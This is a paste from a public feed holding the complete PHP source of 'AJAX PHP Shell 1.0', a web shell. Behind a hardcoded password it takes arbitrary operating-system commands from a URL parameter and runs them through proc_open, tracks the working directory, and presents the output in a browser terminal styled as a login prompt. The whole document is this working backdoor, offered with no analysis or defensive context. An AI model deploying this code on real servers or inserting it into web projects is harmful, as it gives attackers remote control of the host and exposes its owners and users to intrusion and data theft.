Public feed
#893013
<?phpclass AJAX { function login($password) { if($password == "hejhej") { $_SESSION['logged_in'] = true; echo '<?xml version=\'1.0\' encoding=\'ISO-8859-1\'?>'; echo '<response>'; echo '<ps1>'.htmlspecialchars('<span style="color:green">'.exec('whoami').'@'.exec('hostname').':</span><span style="color:white">~</span>/ <span style="color:green">>% </span>').'</ps1>'; echo '<output>login_success</output>'; echo '</response>'; } else { $_SESSION['logged_in'] = false; echo '<?xml version=\'1.0\' encoding=\'ISO-8859-1\'?>'; echo '<response>'; echo '<ps1>'.htmlspecialchars('<span style="color:green">'.exec('whoami').'@'.exec('hostname').':</span><span style="color:white">~</span>/ <span style="color:green">>% </span>').'</ps1>'; echo '<output>login_fail</output>'; echo '</response>'; } } function exe($cmd) { header("Content-type: text/xml"); $command = urldecode($cmd); if($_SESSION['logged_in'] == true) { $output = ""; $oldcwd = $_SESSION['cwd']; if (ereg('^[[:blank:]]*cd[[:blank:]]*$', $command)) { $_SESSION['cwd'] = realpath($ini['settings']['home-directory']); } elseif (ereg('^[[:blank:]]*cd[[:blank:]]+([^;]+)$', $command, $regs)) { /* The current command is a 'cd' command which we have to handle * as an internal shell command. */ if ($regs[1]{0} == '/') { /* Absolute path, we use it unchanged. */ $new_dir = $regs[1]; } else { /* Relative path, we append it to the current working * directory. */ $new_dir = $_SESSION['cwd'] . '/' . $regs[1]; } /* Transform '/./' into '/' */ while (strpos($new_dir, '/./') !== false) $new_dir = str_replace('/./', '/', $new_dir); /* Transform '//' into '/' */ while (strpos($new_dir, '//') !== false) $new_dir = str_replace('//', '/', $new_dir); /* Transform 'x/..' into '' */ while (preg_match('|/\.\.(?!\.)|', $new_dir)) $new_dir = preg_replace('|/?[^/]+/\.\.(?!\.)|', '', $new_dir); if ($new_dir == '') $new_dir = '/'; /* Try to change directory. */ if (@chdir($new_dir)) { $_SESSION['cwd'] = $new_dir; $output .= "success"; } else { $output .= "cd: could not change to: $new_dir"; } } elseif (trim($command) == 'exit') { session_destroy(); } elseif (trim($command) == 'clear') { $output .= "clear"; } else { /* The command is not an internal command, so we execute it after * changing the directory and save the output. */ chdir($_SESSION['cwd']); // We canot use putenv() in safe mode. /* Alias expansion. */ $length = strcspn($command, " \t"); $token = substr($command, 0, $length); $io = array(); $p = proc_open($command, array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $io); /* Read output sent to stdout. */ while (!feof($io[1])) { $output .= htmlspecialchars(fgets($io[1]), ENT_COMPAT, 'UTF-8'); } /* Read output sent to stderr. */ $neger = ""; while (!feof($io[2])) { $output .= htmlspecialchars(fgets($io[2]), ENT_COMPAT, 'UTF-8'); } fclose($io[1]); fclose($io[2]); proc_close($p); } if(isset($_SESSION['cwd'])) { $cwd = $_SESSION['cwd']; } else { $cwd = "~/"; } echo '<?xml version=\'1.0\' encoding=\'ISO-8859-1\'?>'; echo '<response>'; echo '<ps1>'.htmlspecialchars('<span style="color:green">'.exec('whoami').'@'.exec('hostname').':</span><span style="color:white">'.basename($cwd).'</span>/ <span style="color:green">>% </span>').'</ps1>'; echo '<ps2>'.htmlspecialchars('<span style="color:green">'.exec('whoami').'@'.exec('hostname').':</span><span style="color:white">'.basename($oldcwd).'</span>/ <span style="color:green">>% </span>').'</ps2>'; echo '<command>'.$command.'</command>'; echo '<cwd>'.$cwd.'</cwd>'; echo '<user>'.exec('whoami').'</user>'; echo '<hostname>'.exec('hostname').'</hostname>'; echo '<output>'.htmlspecialchars($output).'</output>'; echo '</response>'; } else { $this->login($command); } }}class JS { function main() { echo ' var xmlhttp; function ajax() { xmlhttp=null; xmlhttp=new XMLHttpRequest(); var input=document.getElementById(\'inputform\').value; var url="phpshell.php?f=AJAX&exec="+encodeURI(input); if (xmlhttp!=null) { xmlhttp.onreadystatechange=state_Change; xmlhttp.open("GET",url,true); xmlhttp.send(null); } } function state_Change() { if (xmlhttp.readyState==4) { if (xmlhttp.status==200) { var xmlDoc=xmlhttp.responseXML.documentElement; var out = xmlDoc.getElementsByTagName("output")[0].childNodes[0].nodeValue if (out == "clear") { document.getElementById(\'output\').innerHTML = ""; document.getElementById(\'inputform\').value = null; document.getElementById(\'inputform\').focus(); } else if (out == "success") { var ps1 = xmlDoc.getElementsByTagName("ps1")[0].childNodes[0].nodeValue; var ps2 = xmlDoc.getElementsByTagName("ps2")[0].childNodes[0].nodeValue; var cmd = xmlDoc.getElementsByTagName("command")[0].childNodes[0].nodeValue; var output = document.getElementById(\'output\').innerHTML;; output = output + ps2 + cmd; document.getElementById(\'ps1\').innerHTML = ps1; document.getElementById(\'output\').innerHTML = output; document.getElementById(\'inputform\').value = null; document.getElementById(\'inputform\').focus(); } else if (out == "login_success") { document.getElementById(\'output\').innerHTML = "ajaxshell\'s password:<br />success<br />"; var ps1 = xmlDoc.getElementsByTagName("ps1")[0].childNodes[0].nodeValue; document.getElementById(\'ps1\').innerHTML = ps1; document.getElementById(\'inputform\').type = "text"; document.getElementById(\'inputform\').value = null; document.getElementById(\'inputform\').focus() } else if (out == "login_fail") { document.getElementById(\'output\').innerHTML = document.getElementById(\'output\').innerHTML+"ajaxshell\'s password:<br />fail<br />"; var ps1 = "ajaxshell\'s password:"; document.getElementById(\'ps1\').innerHTML = ps1; document.getElementById(\'inputform\').value = null; document.getElementById(\'inputform\').focus() } else { var xmlDoc=xmlhttp.responseXML.documentElement; // append output var ps1 = xmlDoc.getElementsByTagName("ps1")[0].childNodes[0].nodeValue; var ps2 = xmlDoc.getElementsByTagName("ps2")[0].childNodes[0].nodeValue; var cmd = xmlDoc.getElementsByTagName("command")[0].childNodes[0].nodeValue; var output = document.getElementById(\'output\').innerHTML; output = output + "<br />" + ps2 + cmd + "<br />"+ out.replace(/\\n/g, "<br />"); document.getElementById(\'ps1\').innerHTML = ps1; document.getElementById(\'output\').innerHTML = output; document.getElementById(\'inputform\').value = null; document.getElementById(\'inputform\').focus() } } } } function append(response) { var output = document.getElementById(\'output\').innerHTML; var ps1 = document.getElementById(\'ps1\').innerHTML; var input = document.getElementById(\'inputform\').value; output = output + "<br />" + ps1 + input + "<br />" + response; document.getElementById(\'output\').innerHTML = output; document.getElementById(\'inputform\').value = null; } '; }}class GUI { function main() { echo ' <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <title>AJAX PHP Shell 1.0</title> <meta http-equiv="content-type" content="text/html; charset=utf-8" /> <script type="text/javascript" src="phpshell.php?f=JS"></script> </head> <body style="background-color:#151515;width:100%;font-family:courier;font-size:12px;" onload="document.getElementById(\'inputform\').focus()";> <div style="margin-left:auto;margin-right:auto;margin-top:50px;width:640px;border:2px solid #f6f6f6;"> <div style="background-color:#f6f6f6;color:#000;width:640px;" id="title"> AJAX PHP Shell 1.0 </div> <div style="height:400px;background-color:#000;overflow:auto"> <div id="output" style="width:620px;background-color:#000;color:#fff;"> Welcome to Ajax PHP SHELL 1.0<br /> </div> <div style="width:620px;background-color:#000;color:#fff"> <form action="#" onsubmit="ajax();"><span id="ps1">ajaxshell\'s password:</span><input type="password" id="inputform" style="border:0px;background-color:#000;color:#fff;width:60%;"/></form> </div> </div> </div> </body> </html> '; }}error_reporting(0);session_start();if(!isset($_GET['f'])) { session_destroy(); $asd = new GUI(); $asd->main();} else if($_GET['f'] == "JS") { $asd = new JS(); $asd->main();} else if($_GET['f'] == "AJAX") { $asd = new AJAX(); $asd->exe($_GET['exec']);}?>